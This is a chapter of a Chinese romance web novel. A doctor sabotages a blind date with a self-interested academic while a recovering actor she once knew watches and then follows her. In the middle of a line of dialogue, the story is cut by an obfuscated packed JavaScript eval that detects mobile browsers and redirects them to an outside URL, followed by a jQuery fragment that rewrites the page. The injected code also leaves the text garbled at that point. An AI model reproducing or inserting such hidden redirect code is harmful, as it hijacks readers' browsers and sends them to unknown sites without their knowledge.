程果已经四天没见过沈骓，那天晚饭后舒书也没再提他，倒是科室里有人八卦问沈骓是不是在追她，她笑回了句“可算知道明星的恋爱瓜是怎么来的了”，逗笑了一群人，之后没人再问。
今天是沈骓出院的日子。
看样子恢复得不错，精气神儿很足。
“程医生？”原满略有不满地叫她。
程果转过头。
咣当一声，隔壁桌餐椅又被猛扯一下，噪声贯耳，正准备进入人生大事话题的原满不满地拧眉看过去，桌旁男生身材高大，一身黑衣，轮廓硬朗帅气，不知道被谁惹到了，眉目间的不爽和燥意肆意抖落到空气中，周遭被他搅动得焦躁，感觉到他的视线后投来一瞥，目光如一把斜霹的冷刀，贴着他的额头鼻尖挥下，之后注意到他对面的程果，收敛了戾气看过去。
目光停住。
原满原本被吓得忍不住咽口水，汗毛集体起立，这会却觉得被挑衅了，正要壮着胆子说句什么，听到程果把问题抛回来：“原博士是什么想法？”
他连忙收回视线，对面的程果笑容温婉，专注的目光像一缕清风，原满心里那点火气顷刻散了。
比起学生和同事称呼他为原老师，他更喜欢被称为原博士，这能满足他微妙的学术权威心理。
原满整理好情绪，微笑道：“没遇到程医生之前，我对婚姻和未来伴侣是模糊的，现在只后悔没有早一点认识你。”
“噗……”
旁边桌后进来的男生漏出一声笑，又及时收了回去。
原满额角上的青筋蹦了又蹦，有心斥责对方没有礼貌，又怕在程果面前失了斯文。
程果正低着头抿水。
这种词她之前只在剧里听过，没想到有一天会被用在自己身上。
再抬起头时，脸上的笑容还没完全压回去，比刚见面时大了许多，眉眼弯弯，眼眸黑亮，漂亮极了。
“谢谢。”她说。
原满一下晃了神，眼睛发直地看向程果，程果脸上仍挂着笑，语调温和：“原博士有尽快结婚的打算吗？”
这话问得直接，但正和原满心意，他已经不算年轻，没有精力和时间去长久地经营一段感情，再者，对他来说，婚姻就是利益最大化，女方的综合条件是他的择偶标准。
来之前他了解过程果的人际圈，也知道程果不是第一次相亲，像她这样的条件，之前没有成功只能是对方问题，现在她能这样问他，是对他条件满意了。
“能尽快结婚当然是好的，程医生呢？”原满笑说。
程果微笑，“我妈妈希望我尽快结婚。”
话音刚落，旁边桌餐椅被大力拉开，刚坐下没几秒的沈骓沉着脸色起身向外走，程果眼睫轻轻一眨，端起水杯缓慢喝了一口。
正点餐的助理往她这边飞快扫了一眼，仰头叫人：“哥，医生让你按时吃饭。”
不知道哪个词发挥作用，已经走到门口的人刹住脚步，两秒钟后大步返回，又重新坐了回去。
助理将菜单推给他，“哥你看吃什么。”
沈骓没看，嗓音低沉紧绷，“按程医生的医嘱。”
“……”
助理飞快偷瞄一眼旁边的程姓医生，又跟沈骓确认：“米汤？”
“果汁。”沈骓补充。
“……”
能吃饱吗？
“哥你只要这两样吗？”助理问。
“再加一杯水。”
这是让他遇到活的恋爱脑了吧，助理皱起脸：“……我也是吗？”
沈骓抬眸：“你急性阑尾炎做手术了？”
助理明白了，低下头唰唰唰给自己点了一堆菜。
“咳。”程果偏过头，放下水杯。
沈骓有喜剧天赋吧。
对面原满十分绅士地递过来一张餐巾纸，程果道谢接过，放在一边后拿起筷子。
隔壁桌终于消停，原满重新拾起话题，从自己的工作聊起，说到家庭情况，大致总结出来就是，他除了在校任教外也和朋友合伙开公司，前些年专注学业事业，没有时间谈恋爱，爸妈退休后在他的支持下经营一家超市，虽然忙但是将来也能带孙子，他在黎城购买的第二套房子正准备装修，那套房子距离他任教的大学和三院都不远，问程果有没有偏爱的装修风格。
句句不谈结婚，句句指向结婚。
也会有来有回地问程果：“学校老师手里的入学名额也能给二代用吧？”
“都说家里有个医生就连亲戚来医院看病都方便，叔叔是知名专家，被亲戚找的时候更多吧？”
“一院心外郭主任的号很不好挂是不是？我叔叔最近心脏不舒服……”
程果放下筷子。
于慕英任教的初中是市重点，入学名额极为抢手。
她爸爸程复言是知名免疫学家。
一院心外郭主任是她老师，心血管专家。
抽出一张餐巾纸，程果轻拭唇角，耐心地一一作答。
“附中在编教师是有子女入学这项福利。”
“家里有医生看病确实能方便一些，小病往往不需要去医院。”
“我老师每周四下午开放特需门诊，号确实难抢，叔叔这种情况可以先挂普通门诊做好检查，我来帮忙看看，有不懂的地方再去请教老师。”
“程医生不是在普外？”原满诧异。
“这个月开始在心外。”
程果没有解释更多，原满却对这种相谈甚欢的局面极为满意，他看了一眼程果放在桌上的手，心猿意马起来，慢慢地将自己的手放过去，在距离一拳处停下，试探性将两人的关系再往前推进一步。
“程医生，那我们两个找个时间……”
旁边桌“哒”的一声响，沈骓将水杯放在桌面，正吃饭的助理抬起头，眼睛扫来扫去。
满脸阴沉的自家艺人，但笑不语的程医生，一脸精明色心半露的相亲对象，比公司拿给沈骓的剧本还要精彩，他快要不知道该看谁了，最终想到自己的工作，将果汁往前推，“哥，喝点。”
招来一眼瞪。
“原博士，”程果开口，“不知道上次吃饭我妈妈有没有说起过我的职业规划？”
“职业规划？”
“对，我在备考医学博士，顺利的话明年入学。”
“这是好事，”原满很理解，“博士学位能够更早晋升副主任、主任医师。”
“是这样。”
程果稍歪了一下头，笑容温婉动人，“原博士应该也知道，医学博士学制长，开销不低，”她眼神示意他去看手边的资产单，“我虽然有些存款，但是不足以支付博士期间全部费用，我是考虑，如果我们结婚的话，那再由我妈妈支付这部分费用就不合适了，所以……”
程果停在这里没往下说，原满脸色不大好看，脸上的笑慢慢淡下去，放在桌上的手收回到水杯那，端起，抿了一口后重新拾起笑容，“我记得我博一时卡里余额是一万，到毕业时，余额20万，医学博士的花费，”他想了想，“翻倍？”
程果笑着称赞，“原博士优秀，”她没再兜圈子，“全日制情况下我没有工作收入，生活花销也加进去的话，博士期间需要80万。”
原满脸上的笑挂不住了：“非全日制呢？”
沈骓拿起扣放在桌上的手机，解锁，打开某APP，又闲适地端起果汁喝了一口。
“79万。”程果微笑。
“噗……”
旁边桌助理又漏出一声笑。
原满脸色彻底冷下去，“程医生是在耍我吗？”
黑着脸拿起包走了。
程果极小幅度地轻耸肩膀，招来服务员付款后收起桌上的个人资料，挎上包转向沈骓，眼眸弯着，视线在他果汁上一搭，语调轻松，“慢慢喝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305295|182803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
已经一年多没被她这么和颜悦色地对待过，沈骓心跳在那一刻几乎要停了，回过神时程果已经推门走了出去，他忙起身，长臂一捞拿起助理身边的背包，目光追着餐厅外的程果，简单吩咐助理：“你跟祁姐说她下午说的综艺我接了。”
“又接了？哎哥你要去哪儿啊？我怎么办？”
“你放假。”
人已经出了餐厅。
“男大不中留啊，”助理低声嘟囔，“不管是大一大二还是大三大四的男大，都不中留。”
腹部拉扯的疼痛感还在，不中留的男大却丝毫不觉。
日暮西沉，晚霞退场。
月亮偷懒还没上班。
路边灯摇手和天上星打招呼。
程果脚步轻快，沈骓在她身后十几米外跟着，目光一刻不离地落在她身上，看她将A4纸卷成筒，打开，再卷，然后压扁，撕了几道后随手丢进路过的垃圾桶，轻盈地穿过马路。
担心再像上次跟丢了人，沈骓顾不得疼，小跑几步去赶绿灯，路过垃圾桶时脚步一顿。
里面有程果的资产情况。
也有她的个人信息。
程果回医院后先去了一趟普外，舒书给她发消息，她有两本书落在那儿，让她有空过去拿一趟。
到普外时，舒书正吃外卖看剧，没急着把书给她，先拉着她问：“怎么样怎么样？”
程果耸肩摇头，“没看上我。”
“怎么会？！”
“嫌我没钱。”
“哈？还挑上了他？”舒书为程果鸣不平，“你都没嫌他长得矮呢，跟他在一起你高跟鞋都不能穿！”
“我还是嫌的。”程果笑，目光落向桌面。
舒书哈哈哈一通笑，目光挪过去，拿着桌上的沈骓签名眉开眼笑地在身前晃了晃，“不是我主动要的哦，是他助理给他办出院的时候塞给我的。”
“你要吗？”她眨眨眼睛问程果。
程果凑近看她眼，“这里分明写着求你别拿走。”
舒书哈哈笑着推她，两个人闹了一会儿，程果拿书回心外办公室。
心外和普外隔了两层，程果没去等电梯，顺着楼梯慢慢向上爬。
今天晚上她相亲，于慕英一定会打电话询问经过，沈骓的突然出现搅乱了她的计划，当时着急给原满下套，可对方又不是傻子，稍一回想就能明白怎么回事。
她得想好怎么把问题完全推到原满身上。
嗡——
手机震动声响起。
同时，楼道上方传来噔、噔的下楼声，像是三跳两跳就下来一层，程果一面靠墙站给人让路一面拿出手机，看到上面的名字时一愣。
下楼的声音陡然停住，嘟嘟的电话等待声划开平静。
程果抬起头，沈骓拿着手机，居高临下地站在高她半层处，胸膛起伏，焦急的目光在注意到她的那一刻稍有收敛。
他的口罩已经摘了，不知道是热的还是疼的，额角和下颌处几滴豆大汗珠正沿着脸颊脖颈往下淌，汗湿了T恤领口。他匀了呼吸，一步一步慢慢朝她走来，身上的热气跟着一并过来，像滚烫的海潮慢慢欺近，有那么一瞬间，时间像是回到他大二那年初夏，他打完球朝她跑来。
那时候他一身昂扬的少年气，背后阳光明亮。
程果手指捏紧怀里的书脊，用力定住脚跟才没后退。
想起他刚做完手术，程果挂断电话低声斥责：“医生没说术后三个月不能剧烈运动吗？！”
沈骓站到她面前，忽地笑了，笑容明亮灿烂，眼眸像天上星。
“程医生，我错了。”
他低头看她，唇角翘着，语气很轻，眼神小心翼翼的。
程果心口像被羽毛拂了一下，咽了咽嗓子没说话。
“姐姐，”时隔一年多，沈骓重新这样叫她，“我能请你吃晚饭吗？”